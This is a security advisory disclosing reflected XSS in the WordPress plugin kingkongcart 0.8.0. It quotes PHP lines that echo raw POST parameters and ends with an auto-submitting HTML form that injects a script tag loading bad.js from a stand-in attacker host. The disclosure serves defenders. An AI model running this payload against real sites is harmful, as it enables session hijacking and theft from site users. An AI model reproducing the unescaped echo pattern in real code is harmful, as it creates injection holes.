Advisory #: 956
Title: Reflected XSS in wordpress plugin kingkongcart v0.8.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/kingkongcart
Downloads: 1335
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: kingkongcart
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./kingkongcart/includes/order.php: 469: (<?php echo $coupon_type;?>쿠폰 <?php echo $_POST['using_coupon_discount'];?> 사용) 532: <input type="hidden" name="paid_coupon" value="<?php echo $_POST['will_using_coupon_id'];?>"> 621: <td><input type="text" name="input_mileage" value="<?php echo $_POST['using_mileage'];?>"> <input type="button" class="kingkongtheme_button" value="적립금 사용" onclick="use_mileage(<?php echo $user_id;?>);"> 755: <input type="hidden" name="will_using_coupon_id" value="<?php echo $_POST['will_using_coupon_id'];?>"> 763: <input type="hidden" name="will_using_coupon_id" value="<?php echo $_POST['will_using_coupon_id'];?>"> The variable using_coupon_discount appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./kingkongcart/includes/order.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/kingkongcart/includes/order.php method=post> <input type=hidden name=using_coupon_discount value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>